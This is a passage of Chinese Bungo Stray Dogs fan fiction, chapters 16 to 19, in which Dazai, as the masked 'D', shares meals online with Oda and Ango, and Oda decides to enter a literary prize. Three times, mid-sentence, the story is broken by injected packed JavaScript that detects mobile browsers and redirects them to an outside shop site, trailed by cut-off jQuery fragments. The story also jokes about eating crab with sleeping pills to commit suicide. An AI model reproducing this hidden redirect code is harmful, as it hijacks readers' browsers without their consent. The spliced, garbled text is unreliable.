时间就在他们三个人的努力工作中匆匆而过,而且不知道是不是因为心情特别好的原因,太宰治觉得自己工作的效率似乎获得了大幅提升,而且精力也非常旺盛,直到闹铃响起的时候他还是感觉自己活力满满。 坂口安吾依然承担了把沉迷工作的另外两人唤醒的工作,在提醒大家晚饭时间已到之后,织田作之助照旧搬出了他的咖喱饭,坂口安吾今晚准备的是速食三明治,然后他们两个人不约而同地把目光投向屏幕那边的D。 “D,你晚上吃什么?要先离开去外面吃吗?”织田作之助率先开口询问。 “不用哦,我也有准备自己的晚餐!”D说完之后就弯下腰,看着应该是在从桌子下面的抽屉里拿什么东西。 其实他完全可以呼叫厨房给他送上来一份色香味俱全的晚餐,但是考虑到今天可是和织田作还有安吾共进晚餐的第一天,所以太宰还是特意准备了他觉得最有代表性的食物。 “蟹肉罐头?D先生你晚上就吃这个吗?”安吾都惊呆了。 不是,你们港口mafia怎么回事?首领每天连口热乎饭都吃不上吗?还能不能行了? 哪怕端上来点蟹肉粥什么的我也算你们努力过了啊,结果就这么糊弄你们任劳任怨的首领?! 当干部的时候吃的是蟹肉罐头,篡位当首领之后还吃蟹肉罐头,这位不是白篡了吗? 太宰只是喜欢吃螃蟹而已,又不是要吃天上的月亮,你们港口mafia都那么富裕了,给他做点螃蟹料理就这么难吗?! 以上带着气愤和不平的吐槽飞快地在安吾的脑海里刷屏,偏偏太宰治毫不知情,还一副给小伙伴分享小秘密的雀跃语气: “蟹肉罐头就是天下最美味的食物!这个牌子的蟹肉罐头口感最好了,当然最佳吃法还是搭配安眠药用来自杀!” 坂口安吾:…… 太可怜了,看着真是太可怜了啊!那边武侦宰晚上还能跟着后辈蹭碗茶泡饭呢,当上港/黑首领之后居然只能蟹肉罐头配安眠药了吗? 太宰还只是个十九岁的孩子啊,虐待童工!你们港口mafia这是虐待童工!!! 16.第 16 章 织田作之助虽然不知道D是港口mafia的首领,但是他也觉得晚上只吃蟹肉罐头有点不健康,犹豫了一下他还是开口了:“D,你工作这么忙,只吃这个营养跟得上吗?你是不是不会做饭?” 他还在想着要不要推荐几家提供外送的餐馆。 谁知道一提到这个问题D立刻就兴奋起来了,他一边打开蟹肉罐头的包装一边兴致勃勃地开口:“没有哦,织田作!我其实超级擅长料理的!我最近研发了一道叫做超人精力锅的火锅,等有机会我做给你们吃!” 坂口安吾:…… 出现了,太宰的绝命黑暗料理! 赶在织田作先生点头答应之前,安吾非常谨慎地推一推眼镜:“这个名字听着可不像一种料理,我姑且询问一下,请问原料是……?” “嗯,我想想看,有从凌晨在山上采到的野生蘑菇,刚从河里捞上来的鲜活河豚,打开几天忘记吃光的蟹肉罐头,还有自杀比较常用的几款安眠药,把这些食物放到锅里精心烹煮,然后……” “不要再说下去了啊D先生!上述物品单挑一个出来就已经很够呛了,你还把他们一股脑都放进锅里煮?”坂口安吾听着面露菜色,就连手里的三明治都吃不下去了: “你在做什么?熬制可以让人痛苦去世的黑暗魔药吗?” “怎么会是魔药呢?安吾的话真是太失礼了!”太宰忿忿不平地反驳:“我有放上对料理满满的爱意,所以超人精力锅绝对会是一道非常美味的料理!” “谁家料理往里面加安眠药啊?如此可怕的爱意,你难道是病娇吗?”坂口安吾一脸抗拒,看上去完全不打算尝试如此可怕的黑暗料理:“如论如何我是不会吃的!那种需要打上马赛克的玩意儿你说它好吃谁会信啊!” “我觉得既然D都那么说了,肯定会好吃吧。”织田作之助忽然接话了,语气一如既往的可靠老实:“谢啦,D,有机会我和安吾会试试看的。” “真的?”D的声音是哪怕隔着变声器都能听出来的雀跃,他一下子从椅子上站起来,看上去已经迫不及待想跑去厨房了:“那就一言为定啦!你们要等我哦,我这就加紧烹饪出最新的成品!” “别,别!冷静,冷静一点,D先生!”安吾赶紧开口试图阻止太宰的危险行为:“我没说我要吃……算了,这个不是重点。”他妥协地叹一口气: “总之,我们今天先好好吃饭吧,料理之类的事情就等以后再说,反正我们又没见面,你做出来也没用啊?” “对哦,我做出来你们也吃不到……”太宰有点闷闷不乐地坐回椅子上,看上去很不甘心。 而坂口安吾则从来没有如此庆幸过他们如今还隔着互联网,他劫后余生地松一口气:“对吧?所以还是先好好吃饭……” “不行!我一定要让你们吃到!”太宰右手握拳下定了决心:“我会打包好给你们寄过去的,一定要记得查收哦,我们晚上再一起吃!” 坂口安吾:…… 倒也不必如此执着。 “火锅还能打包吗?”他试图发出最后的挣扎。 “我觉得可以。”织田作之助一脸平常地说出了相当可怕的话:“横滨中华街的火锅店提供外送服务,火锅的底料是一种红色的块状物,用水一煮就会散开,看上去就像泡面一样方便。” 他头上的呆毛欢快地晃动两下,在安吾惊恐的目光中,他提出建议:“D,你可以把超人精力锅也做成速食版,寄给我们之后用水一煮就可以吃,我们还可以放自己喜欢的食材。” “好主意,不愧是织田作!”太宰看上去大受启发:“那你们等着我哦,我一定很快就能研发成功的!” 虽然其他世界的太宰治都没有尝试过这个方向,但是我相信我一定可以的! 生无可恋的坂口安吾:…… 哪怕隔着互联网,太宰君的黑暗料理还在追着我杀。 但是事已至此,想要拒绝已经不可能了,所以坂口安吾决定利用好这个用命换来的机会:“D先生,你都能给我们投毒了,不如也给我和织田作先生一个你的邮寄地址吧,我们也可以给你寄一些东西。” “诶?给我寄吗?”D先生的表现看上去有点复杂,隔着屏幕和面具安吾看不出来那是什么情绪,只有他失真的声音透过变声器传过来:“什么东西?我这里可什么都不缺的!” “我觉得你缺一顿像样的晚餐。”坂口安吾晃一晃手里的三明治:“你看起来也不像能好好吃早餐和午餐的样子,要是晚餐又只吃罐头怎么想都不太妙吧?” D先生像一个被抓包又不服气的小孩子一样低下头嘀嘀咕咕:“安吾……安吾才没资格说我……明明也是一个只吃速食三明治的社畜……” “三明治里有菜有肉还有主食,方便快捷又营养均衡,总之比空口吃罐头强。”坂口安吾吃掉最后一口三明治把包装袋扔进垃圾桶: “当然,如果 D 先生的晚餐有其他选择的话我不会多此一举的,不过如果你实在不方便的话我也可以每天帮你带一份晚餐。” 毕竟太宰君在港/黑到底是个什么情况那个影片里也没表现太多,安吾心里是真的有点没底。 照理来说港/黑首领应该不至于吃不上饭才对,但是在那个影片里太宰君他看着实在是太瘦了,一米八的身高可能还不到六十公斤,再加上和重力使的关系看着也很……微妙,唉,安吾甚至怀疑他在港/黑里到底有没有个自己人。 虽然说中岛君看着依然是个得力的属下,重力使的忠心也是可以保证的,但是整个港/黑居然连一个能劝他多吃两口饭的人都没有吗?为什么太宰君和其他人的关系会生疏到这个地步? 难道是觉得自己迟早会死,所以才……一想到这个问题坂口安吾就一个头两个大,恨不得抓着太宰君把饭直接灌他嘴里。 “确实,工作如此繁重还是要好好吃饭。”这次织田作之助赞同了安吾的看法:“我刚才就想说了,D,我这里有几个可以提供外送服务的餐馆,味道也都还不错,如果你需要我可以推荐给你。” 说到这里织田作之助考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928094|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虑到D那个神神秘秘的工作性质,目光里也带上几分担忧:“不过安吾说的也有道理。D,你是不是不方便订餐?你提供一个地址我们也可以给你送过去。” 太宰治:…… 我在织田作和安吾眼里到底是个什么形象啊?一个误入□□惨遭监禁的可怜青年吗? 虽然知道他们两个是误会了,虽然知道自己应该叫上来一份晚餐给他俩解释清楚,虽然知道不应该让朋友为自己担心,但是但是…… 如今的太宰已经不是一开始心如死灰的首领宰了,他是太·心思已经活络过来·开始暗戳戳想要搞事·不捉弄织田作安吾不开心·宰。 于是他立刻一副超级做作的惊喜样子:“真的吗?织田作和安吾都愿意对饥寒交迫的我伸出援手吗?我好感动!那我可以开始点餐了吗?” 安吾一双眼睛变成死鱼眼:“我记得我只说了可以给你……” “嗯,你说吧。”织田作之助已经拿起笔准备开始记了。 于是太宰故意无视了安吾的吐槽,清清嗓子开始点菜:“那我早上要吃蟹肉三明治,配菜就吃厚蛋烧吧!对了,我不喜欢吃速食,所以要是能有人给我现做一份就更好了呢!” 坂口安吾:“为什么连早餐也算上了?” 织田作之助已经痛快地答应下来了:“好的,记住了。午饭呢?要吃什么?” “那就一份咖喱饭吧,不过我要吃甜咖喱,织田作就拜托你啦!” 坂口安吾:“D先生,让一个辣党的人去买甜咖喱也太……” 织田作之助:“没问题,我会努力的。晚餐呢?” “嗯,我想想……”D先生故意摸着下巴一副陷入沉思的样子:“晚上果然还是想要吃螃蟹呢,那就要一只帝王蟹,一只北海道红毛蟹,然后还要一只澳龙……” “你别记了,织田作先生。”坂口安吾额头青筋暴起,他愤怒地推一推鼻梁上的眼镜:“现在最应该做的事就是吐槽!你要狠狠地吐槽D先生!然后再拿起一把锤子狠狠地击打D先生的后脑勺!” 他看上去是真的想要收拾D先生一顿了,但是奈何隔着屏幕什么也做不了,于是安吾更愤怒了: “就是因为你不吐槽他D先生才会得寸进尺!你看他明显已经把我们两个当成提款机了!那种要求没人能完成的,织田作先生你还是放下笔吧!” “我觉得还好。”织田作之助看着手里的菜单思索了一下:“如果只吃明晚一次的话我还能负担得起。” “织田作先生,你也别太宠D先生了,倒是适当抗争一下啊!” “安吾,好小气~” “这才不是小不小气的问题!可恶,为什么只有我在吐槽!不要当真啊!不要就这么答应下来啊织田作先生!” “不能答应吗?正好我稿费发下来了。” “你那点稿费只够一个蟹腿!织田作先生你清醒一点!” “哈哈哈哈……”三个人的会议室闹腾得好像有一百个人,D先生支着脑袋忍不住发出愉悦的笑声。 17.第 17 章 他们几个人就这样打打闹闹说说笑笑,一直到计划表中的工作时间才意犹未尽地继续埋头工作,时间就这样匆匆而过,转眼就到了计划中的休息时间。 “今天轮到安吾的睡前故事了呢。”织田作之助说着收拾起桌上的纸笔,似乎忽然想到了什么,他抬头看向太宰:“D,这样算来后天就该你讲睡前故事了,记得准备。” 坂口安吾忍不住吐槽:“D先生的睡前故事?总觉得听完之后会失眠一整晚呢……” “好失礼啊安吾!”太宰忿忿不平地反驳:“你别小看我,我绝对会准备出一个超级有用的睡前故事,让所有听到的人都陷入永恒的沉眠!” 坂口安吾:…… “D先生,恕我直言,这听起来像是某种贞子录像带一样的夺命诅咒。” “这不是很好吗?”太宰高兴地在办公椅上转了一圈:“那就决定了,我的睡前故事就讲贞子啦!” “听着那种鬼故事真的只有鬼才能睡得着了吧!” “是这样吗?我曾经看《午夜凶铃》好像就睡着了。”织田作之助面无表情地语出惊人。 太宰抓住机会:“你看,我就说能睡着吧?安吾,你就相信我吧!” 织田作之助:“嗯,就相信D吧,安吾。” 坂口安吾:…… 明明今天你们两个才是第一次见面,为什么配合的依然如此默契啊! 安吾心累地叹一口气,选择直接跳过这个话题:“唉,我们先去洗涑吧,半个小时之后回会议室集合。” 后天的事后天再说,大不了我就开着灯睡觉。 今天的睡前故事依然是枯燥无聊的金融新闻,等到坂口安吾用那平淡理性的声音读过整篇报道之后,直播间里就只剩下了另外两人平稳的呼吸声。 “晚安,织田作先生。晚安,D先生。” 照例道过晚安退出会议室之后,根本没换睡衣的坂口安吾又叹一口气,从椅子上站起来整理了一下着装就准备出门去了。 “宿主,都十点多了你打算去哪啊?”世界意识好奇地询问。 “还能去哪?当然是去给太宰君那个不省心的家伙买螃蟹还有面包胚,他说明天早上要吃蟹肉三明治。” 世界意识:…… 几个小时之前你不是还在忿忿不平地吐槽吗?所以你还真打算给他做早餐? 坂口安吾说话间已经走出了楼道,这深更半夜的哪里还有市场开门?他开车找了四十多分钟才终于遇到一个24小时营业的超市,挑挑拣拣勉强买全了所有的食材。 他推着满满当当的购物车往收银台走去,路过罐头区的时候犹豫了一下,最后还是走到货架前,把太宰喜欢的那个牌子的蟹肉罐头放进购物车里。 世界意识:“不是都有螃蟹了吗?还要蟹肉罐头做什么?” *“当做酱料抹在面包上。太宰君的味觉比常人要挑剔很多,他喜欢这个牌子说明这款罐头的味道他很满意。” 世界意识:“这我还真不知道,以前太宰治从来没说过这方面的问题,在你的世界他告诉你的?” 坂口安吾默默叹一口气:“不,我猜的。” 其实在港口mafia的时候他就察觉出来了,太宰君对于食物的态度非常奇怪,无论多久没吃饭都看不出饥饿的样子,被念得多了也就细嚼慢咽地吃下两口,那点食量还没猫吃得多。 他唯一热爱的就是螃蟹,而且完全没有吃腻这一说,就连织田作先生也只是一个礼拜有五天左右会吃咖喱饭,但是太宰君如果条件允许他可以顿顿吃螃蟹吃到地老天荒。 ……会不会是味觉有一些问题?有很多心理问题似乎都会让味觉出现不同程度的变化。坂口安吾曾经如此在心里暗暗猜测。 但是港口mafia心照不宣的规则就是不要过度深究别人的私事,坂口安吾一个间谍就更没底气把这个猜测问出口了。 所以他只能在公文包里准备好蟹肉罐头和其他能补充能量的食物,无论是在lupin还是其他地方遇到太宰君都见缝插针地投喂食物,蟹肉罐头和各种面包饼干配套出现,就希望能通过少食多餐的方式改善太宰君的健康状况。 不过值得庆幸的是加入武装侦探社之后这个问题似乎得到了极大的改善,所以坂口安吾也就非常放心地默默退走了。* 时间回到现在,在往购物车里一口气放了七八个蟹肉罐头之后,坂口安吾终于推着严重超载的购物车跑去结账,钱包里薄薄的几张大票换成了满满两大兜食物,坂口安吾一个文职人员提着两袋子重物在大街上艰难前行,直到坐到车上之后嘴里依然在骂骂咧咧: “太宰君那个家伙,真是稍微放松一点他就得寸进尺……就是因为织田作先生太宠他了才会变成这样……下次见面一定要提醒织田作先生……” 世界意识:…… 你还要去提醒人家织田作之助不要惯着太宰治?你说这话你自己觉得有说服力吗? 但是坂口安吾丝毫没有自觉,他自认为自己的吐槽已经很犀利了,所以他骂骂咧咧地把螃蟹洗干净上蒸锅,又骂骂咧咧地把蟹肉蟹黄一点一点地剔出来,一切原材料准备就绪后时间早就来到了午夜十二点,在把自己早起的闹钟往前调了半个小时之后,他终于骂骂咧咧地躺进了被窝。 世界意识终于忍不住了:“我觉得惯着太宰治的是你自己吧宿主,你看看你为了他一句话已经忙活了至少两个小时。” “我?我没有。”坂口安吾迷迷糊糊地翻了个身:“只是今天晚上太突然了才会变成这样,只要准备好材料三明治的做法非常简单,所以以后我只需要每天早起半个小时……” 后面的话声音逐渐低下去,坂口安吾终于进入了梦乡。 世界意识:…… 所以你以后还要每天给太宰治做早餐吗? 我看你和织田作之助的区别就只剩下嘴比较硬而已。 于是第二天一早,心情愉悦的太宰治洗漱完毕走到办公室准备工作的时候,他就收到了一个打包好的方形包裹。 “首领,这是三号据点收到的包裹。根据您的命令,下面的人第一时间就送过来了。”秘书小银捧着手里的包裹走进办公室。 “诶?居然真的送来了吗?”太宰治有点惊讶地瞪圆了眼睛,伸手接过包裹放在桌上仔细打量。 这是一个有两个手掌大小的长方形包裹,外面的袋子用胶带密封得严严实实,袋子的每一处褶皱和边角都被非常仔细的抚平叠好,胶带的截断恰到好处地停在长方体的棱角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936212|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处,就连胶带的断口都是用刻刀整整齐齐地切断的,一看寄送包裹的人就是一个非常认真死板的强迫症患者。 “就连包裹都这么没有特点,果然他只有吐槽的时候才最有趣~”太宰治的唇角不自觉上扬了些许弧度,他随手从笔筒里拿出一把刻刀,开始沿着长方体的边界小心翼翼地拆起了包裹。 秘书小银看上去有点犹豫:“首领,是不是还是先让人检查一下比较好?” 其实正常的流程就是应该先交由安保拆开检查,确认无害之后再交由首领处置的,但是奈何前几天首领对于三号据点特意下过命令,所有收到的信件包裹必须第一时间上交给他,而且严禁任何人私自拆开检查。 “不用不用,放心吧小银,不是什么危险的东西。”太宰治此时已经划开了包裹的一边,正小心翼翼地把里面的东西从严丝合缝的袋子里拿出来:“只是我外订的一份早餐而已,你们检查过后我就没法吃啦!” 说着他把包裹里的东西一点一点挪出来,里面还真是一份早餐,两小块切成三角形的吐司三明治,一份色泽金黄的厚蛋烧,居然还有一盒牛奶,规规矩矩地放在毫无特点的透明包装盒里,看上去就像是那种便利店里打工人专供的早餐便当。 小银:…… 早餐?居然是一份早餐?首领为什么要特意外订一份早餐?而且还是这样平平无奇的款式? “首领,是厨房的食物不和您的胃口吗?”她说话的尾音带着一丝不明显的颤抖。 原来首领之所以不吃饭居然是因为厨房的食物太难吃了吗?而且居然还把堂堂港口mafia的首领逼到不得不向便利店订早餐的地步…… 失职啊!这是港口mafia后勤部全体员工的极大失职! 我这个秘书也好失职啊,居然把老板饿到需要自己订便当的地步,我好丢人啊,好想以死谢罪…… 全部注意力都放在便当上的太宰治没有注意到秘书小银的震惊和羞愧,他打开盒子把里面的食物一样一样拿出摆好: “没有,只是我比较喜欢这一家的便当而已,这是他们家特色的三明治,所以我特意订一份来尝一尝。” 小银再次仔细打量了一遍桌上的食物,从外观看上去都是非常普通的食物,那块三明治更是便利店最常见的款式,完全看不出特色在哪里。 以首领的聪明才智应该不至于被一个便利店老板坑骗,所以这个说法应该是在照顾我们的自尊心吧……秘书小银心里羞愧难当。 “我开动啦!”太宰治非常有仪式感地说出了餐前的惯用语,然后迫不及待地拿起桌上的三明治低头咬了一口,一种可以称之为幸福的表情出现在他的脸上,小银看着他眯起眼睛微笑的样子,恍惚间似乎看到首领身后都绽开了一朵朵粉色的小花花。 “好好吃哦!真不愧是他家的特色款!”太宰治咽下嘴里的食物发出愉悦的叹息,睁开的眼睛圆溜溜亮晶晶的,就像第一次吃鱼被惊艳到的猫咪:“用料好扎实,而且全都是我喜欢吃的食材!决定了,以后我都要订他家的三明治!” 秘书小银:…… 太可怜了!被便利店三明治惊艳到的首领真是太可怜了啊!您以前吃的到底都是些什么东西啊?首领我真的对不起你呜呜呜呜呜…… 18.第 18 章 秘书小银一出来就立刻一头扎进厨房折腾的鸡飞狗跳,厨房里那位高薪聘请的高级厨师听完也惊呆了,他不可置信地反问: “银小姐,我从森首领在位时就是主厨了,精通中日法德各种菜式,就连爱丽丝小姐都很喜欢我的手艺啊,这中间是不是有什么误会?” “我亲眼看到首领被一块便利店三明治惊艳到赞不绝口。”小银非常沮丧地低下了头:“我也希望这中间有什么误会,但是首领非常珍惜地吃完了一整块三明治和一小碟厚蛋烧,甚至就连牛奶都喝了个精光。” 放在平时这可能已经是首领一天的饭量了,而且还是最近莫名变得心情好之后的饭量,这要是搁以前…… 呵呵,一天可能也想不起来吃上一顿完整的饭。 “这,这不应该啊……”主厨先生百思不得其解:“难道是因为那块特色三明治内有乾坤?首领在哪家便利店买的?” “不知道,没看到任何商标和图案,可能是特意隐藏起来了吧。”小银眉头紧锁:“怎么办?我们总不能让首领一直靠着订外卖过活吧?” “那当然不能!我的手艺绝对不可能败给便利店三明治!”主厨先生的心里燃起熊熊斗志:“我这就把市面上所有的便利店三明治都买过来研究一番,一定做出让首领满意的三明治!” 虽然主厨先生的理想非常丰满,但是很可惜现实是骨感的,临近中午的时候三号据点又送东西来了。 这次更是演都不演了,某咖喱店的名字和商标就大大咧咧地印在外面的包装袋上,满满当当的一大包,里面似乎除了咖喱饭之外还有几个食盒。 秘书小银:…… 怎,怎会如此啊?首领,您已经彻底放弃港口mafia的厨房了吗? 而且您的胃口原来这么好的吗?那您这两年来那小鸟一样的食量……果然还是厨房的东西太难吃了吧! 没注意到秘书小银的风中凌乱,太宰这次打开门接过外卖就直接把其他人拒之门外,哼着自己瞎编的歌词把咖喱店外送的包装袋拆开,里面除了一份甜咖喱饭之外果然还有两个食盒。 他把所有的食盒一样样摆在桌子上,也不着急吃那份甜咖喱,反而是把其他两个包装得严严实实的盒子打开。 里面分别是一只帝王蟹和两只澳龙。 太宰:…… 织田作,你真是一个神奇的男人。 也不知道织田作的钱包还好不好,他不会为了买这些已经花光了这几个月的薪水吧? 心里怀着一些说不上是惊喜还是内疚的复杂感情,太宰治拿过咖喱食盒打算尝尝味道,结果居然意外在食盒底下还发现了一张明信片。 D: 甜咖喱饭来自咲乐的倾情推荐,她对甜食的品味一向不错,希望你能喜欢。 但是考虑到他们家只卖儿童套餐,总觉得一个成年人只吃这个可能吃不饱,所以我就把晚饭一并送来了,你可以根据自己的食量自行分配。 老板说这个时间北海道的螃蟹还没到捕捞期,所以暂时没有货,我还欠你一只北海道红毛蟹,今年11月份补上。 织田作 “啊,我这个玩笑是不是开过头了……”太宰治捏着那张明信片心里有点感动还有点好笑:“织田作和安吾是两种完全不同种类的认真呢,这下怎么办?直接给钱当然不行,但是织田作还养着那么多孩子……” 一下子花了这么多钱,不想办法给他补上的话之后几个月他的生活肯定会很拮据…… 可能这就是有了朋友之后甜蜜的烦恼吧,太宰拿起勺子舀了一勺色泽金黄的土豆块送进嘴里,又掰下来一条蟹腿扒开壳咬了一口,软糯的口感混合着螃蟹的鲜甜味道让人沉醉,他一边吃一边思考,很快就想到了一个绝佳的办法。 “啊,不如就让《森氏月报》多向织田作约点稿吧,到时候不止织田作有了更多收入,我也有更多的小说可以看了!” 要是能一举评上小说新人奖就更好了呢,到时候织田作就再也不用为钱发愁啦! 当天晚上,因为是工作日所以进入会议室计划先吃晚饭再工作的坂口安吾就看到了屏幕下方的螃蟹和澳龙。 坂口安吾:…… 不是,织田作先生,你居然真的买了帝王蟹和澳龙吗? 那你的钱包还好吗?未来几个月吃什么啊? 安吾的心里充满担忧,太宰治还在屏幕那头大快朵颐,虽然被面具遮掉了大半张脸看不清表情,但是嘴角上扬的让安吾想装看不见都不行。 织田作之助还没进来,可能是有什么事耽误了,太宰最先晃了晃手里的半截蟹腿打招呼,昨天的拘谨纯良早就被他抛到九霄云外去了: “晚上好啊安吾,你做的蟹肉三明治很好吃!我明天的配菜要吃培根煎蛋!” “所以我就这么成了你的厨师和外卖员吗?”坂口安吾铁面无情地对着屏幕伸出手:“所以我的工资呢?我可从来不接受赊账。” “安吾好小气~”太宰拖长了声音抱怨,即使隔着变声器声音也听起来黏黏糊糊的:“我有支付报酬的,报酬就是我每天真挚的祝福!” “D先生的祝福吗?总感觉不是什么吉利的东西呢,祝福我什么?财源滚滚步步高升?”坂口安吾咬了一口饭团,不抱什么希望地追问道。 “才不是那种俗套的祝福啦!”太宰把最后一条螃蟹腿的壳扔到桌下的垃圾桶里,又拿起澳龙开始扒壳:“是祝福安吾早日学会摸鱼和偷懒,以后再也不用加班和工作!” 坂口安吾:…… “D先生,你是在诅咒我早日失业吗?” “才不是诅咒,这是我真挚的祝福!”太宰不服气的反驳:“而且我也有祝福织田作!祝福他早日实现辣咖喱自由!” “不,我觉得如果不是你的话他应该早就辣咖喱自由了吧!比起祝福你还不如下次点一些稍微亲民的食物!”坂口安吾看着已经啃了一半的澳龙发出愤怒的吐槽。 正在这时织田作之助也进入了直播间,他的面前依然摆着一份辣咖喱饭,但是他却握着筷子一口也没动,整个人看上去非常苦恼的样子。 坂口安吾一看到他这样PTSD都要犯了:“发生什么事了吗织田作先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940385|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生?” 难道又有哪个闲得没事的评论家在网上对你发动了攻击? “嗯,刚才我接到了《森氏月报》编辑的电话,他说……准备推荐我参加这一届的小说新人奖评选。”织田作之助头上的呆毛又蔫了,苦恼地低下头扒拉着盘子里的咖喱。 坂口安吾:…… 难道是太宰君在暗中发力了? 太宰治:…… 我还什么都没来得及做啊,哪个编辑这么上道? “这不是一件好事吗?”沉默片刻之后,坂口安吾开始由衷地为织田作先生感到高兴:“这可是一个绝佳的机会啊织田作先生,你不是一直想证明自己的小说是真正好看的作品吗?如果能获得这个奖项的话你的实力就毋庸置疑了啊!” “对啊,织田作!到时候你就是真正优秀的新人小说家了,这下看那些道貌岸然的家伙还能说什么!”太宰治也开心地放下澳龙跟着附和。 织田作之助没精打采地叹一口气:“编辑也是这样说的,说这是一个绝佳的机会,如果不是因为之前那个评论家的事导致大部分作家都解约了也不会轮到我……” 毕竟他至今为止只发布了一篇短篇小说而已,再怎么有潜力也还有的熬呢,其他报名小说新人奖的都是写作了两三年之后小有成就的作者,就这在文学界也已经算得上是天赋卓绝了。 有得是写了一辈子也籍籍无名的家伙,无论在哪个圈子里现实就是这么残酷。 “但是新人奖的参评资格之一是作家本人必须要有至少两部公开发表的作品。”织田作之助的眉头罕见地皱紧:“而且说实话,我不觉得我上一篇短篇小说是可以被入围评奖的水平。” “如今距离报名截止只有两个半月的时间了,也就是说,织田作先生必须要在两个半月之内创作出一部足够评奖的优秀作品。”坂口安吾听着听着眉头也不自觉皱紧: “原来如此,这的确是一个非常艰巨的任务呢。虽然我认为织田作先生的小说已经很优秀了,但是对于你本人来说压力应该很大吧。” “机不可失,失不再来——虽然我也想如此督促织田作啦。”太宰的表现倒是一如既往的游刃有余,他把最后一点龙虾壳扔进垃圾桶,摘下手套把桌子清理干净,说话的语气也漫不经心的: “但是毕竟织田作作为小说家的时候是个完美主义者呢,所以你只需要按照自己的意愿和节奏来就好啦,这个机会你无论是接受还是拒绝我都支持哦!” 说到这里,他终于抬起头来对着屏幕对面苦恼不已的男人露出笑容: “没关系,放轻松啦织田作!人生中会遇到许多次机会的嘛,凭借着你的实力错过了这次也会有下一次机会!” 坂口安吾点头赞同:“织田作先生,我还坚持我一开始的观点,无论如何,你的作品是不会被埋没的。所以无论你做什么样的选择我都支持你。” 织田作之助似乎非常为难,他低下头看着盘子里的咖喱饭沉默良久,一直到盘子里的咖喱饭都被搅和的乱七八糟了,他终于抬起头郑重宣布:“我决定拼尽全力去试一次。” 19.第 19 章 听到这个结果,安吾和太宰毫不意外,他们两个立刻就表达了自己的支持。 坂口安吾推一推眼镜:“织田作先生果然是不会轻易放弃的人呢。那么,我也会全力支援好你的写作事业的,这部作品的校订和排版就都交给我吧,如果有需要我也可以帮忙联系出版……” “啊!狡猾!安吾好狡猾!”太宰不服地举起右手毛遂自荐:“我也可以帮织田作校订和出版!” 对于竞争对手的激烈反对,坂口安吾露出从容不迫的笑容:“感谢这位热心网友D先生的大力支持,但是面都见不到的人是没办法拿到原稿进行校订的呢,这还真是遗憾。” 热心网友D先生:…… 可恶!好气哦! 依然没机会看到原稿的太宰治只好退而求其次:“那我来负责织田作的伙食吧,毕竟刚刚吃了你一顿大餐呢,我这里还有好多餐厅的会员卡还有优惠券……” 总之,绝对不能让织田作在创作的时候因为生活发愁! 知道D在担心什么,织田作之助开口解释道:“我并没有花太多钱,D。那些海鲜是有一个餐厅老板恰好因为之前的案子欠我一个人情而已,放心吧。” 但是D看着还是不太开心,他小孩子一样不服气地把手里的文件卷来卷去:“那我不就什么忙都帮不上了吗?我也想要帮忙……” 之前没做出决定的时候他的心里千难万难,如今下定决心之后织田作之助反而松了一口气,他语气轻松: “其实你们能一直陪着我就已经帮大忙了,如果只靠我一个人之后会变成什么样还真是难以预料,说不定我会因为压力太大而连续失眠,最后因为状态太差反而什么都写不出来。” “那是当然了,毕竟我们是一个健康生活的陪伴会议室。”坂口安吾也忍不住露出笑意,他举起桌边的纸杯:“那么,为了预祝织田作先生能写出更加优秀的作品——” 这一次,早有准备的太宰治也举起了桌上的玻璃酒杯,织田作之助跟着举起自己的咖啡杯。 “——干杯!” “加油啊织田作!我会给你做美味的超人精力锅的!” “那多谢你了,D。” “不,都到了这种紧要关头了织田作先生你倒是拒绝啊!鬼知道吃了那种东西会在医院里躺上几天!” “才不会倒下!只是会超高的效率疯狂工作而已,更加适合现在的织田作啦!” “……就算你说的是真的,D先生。但是吃下那种黑暗料理而写出来的东西总觉得很可怕,要不还是算了吧……” 就这样,新人小说家织田作之助的写作生涯又遇到了重大挑战,而他的朋友们除了默默陪伴之外其实也帮不上太大的忙。 为了配合织田作他们默契地缩短了吃饭休息的时间,甚至把睡觉时间也调到了晚上十一点半,但是再晚就如论如何都不行了,安吾和太宰会非常严格地督促织田作之助上床休息。 毕竟织田作之助不是那种可以昼伏夜出的全职作家,天天熬到后半夜再早上爬起来上班,时间长了铁人都扛不住。 时间就这样紧张而有序地匆匆流过,转眼间大半个月过去,织田作之助的小说还没有什么眉目,反倒是太宰这边又有了新的烦恼。 简单点来说,自从交了朋友之后他的时间不够用了。 以前他一天二十四小时可以把二十三小时用来工作,港口mafia内部的战争,财务,研发,商业……所有部门他全都一手抓紧,每天都有大量的文件流水一般下发下去,任何问题只要上报给首领基本上隔天就有指示下达。 